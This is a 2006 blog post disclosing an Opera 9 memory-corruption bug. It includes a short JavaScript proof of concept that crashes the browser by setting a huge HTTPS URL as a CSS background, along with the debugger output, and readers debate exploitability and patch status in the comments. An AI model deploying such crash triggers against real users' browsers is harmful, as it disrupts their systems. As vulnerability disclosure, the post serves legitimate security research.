Wednesday, July 26, 2006

MoBB #26: Opera CSS Background

The following bug was tested on the latest version of Opera 9 on a fully-patched Windows XP SP2 system. A memory corruption issue can be triggered by setting the background property of any DHTML element to a long HTTPS URL.

var a = document.createElement('a');
var b = 'XXXX';
while (b.length <= 1024*1024) b+=b;
a.style.background = 'url(https://' + b + ')';

Demonstration

eax=0c4f0020 ebx=00000000 ecx=0c4f0020
edx=0a4b0030 esi=00953ff8 edi=00200008
eip=67befb98 esp=0012e38c ebp=0012e404
Opera_679e0000+0x20fb98:
67befb98 668b32 mov si,[edx] ds:0023:0a4b0030=0000

This bug will be added to the OSVDB:
Opera CSS Background Property HTTPS Memory Corruption

13 Comments:

At 11:35 AM, Anonymous Hallvord R. M. Steen said...

why https? It crashes with plain http too.

 
At 11:48 AM, Blogger hdm said...

Good catch! I tested all of the protocol handlers trying to figure out which one was triggering - must have missed plain http somehow :-)

 
At 12:42 PM, Anonymous Anonymous said...

So is this just a crash bug erroneously published as a security flaw, or is it actually exploitable?

 
At 12:52 PM, Blogger hdm said...

So far, it doesn't look exploitable beyond a crash. Rumor is that the Opera team feels the same way. A couple security companies classified this as "critical" for some reason - I wonder if they even bothered to test it.

 
At 12:58 PM, Anonymous Anonymous said...

Confirmed crash in Opera 9.00, but seems to be fixed already in the Opera 9.01 weeklies.

 
At 1:31 PM, Anonymous Roberto said...

this vulneraility IS exploitable for code execution!

versions 8.x are not affected.

 
At 1:48 PM, Blogger hdm said...

Care to share an example? I haven't been able to get a memory mapping to reach the page that is dereferenced.

 
At 2:04 AM, Anonymous Anonymous said...

It is not exploitable, according to, well, everyone in the know :)

 
At 8:28 AM, Anonymous Anonymous said...

It's already fixed in new Opera weekly build.

 
At 8:31 AM, Blogger hdm said...

They may have fixed the http/https issue, but I was still able to trigger this bug using the latest version of CSSDIE.

 
At 2:00 PM, Anonymous Anonymous said...

I have weekly build 8552 and I have no problem with it.

 
At 7:52 PM, Anonymous Anonymous said...

Seems like that it doesn't crash the browser in FreeBSD version of Opera

 
At 8:06 PM, Anonymous janbar said...

Opera 9.01 build 8509 is NOT vulnerable.

Greetings,

janbar.:))

 

Post a Comment

Links to this post:

Create a Link

<< Home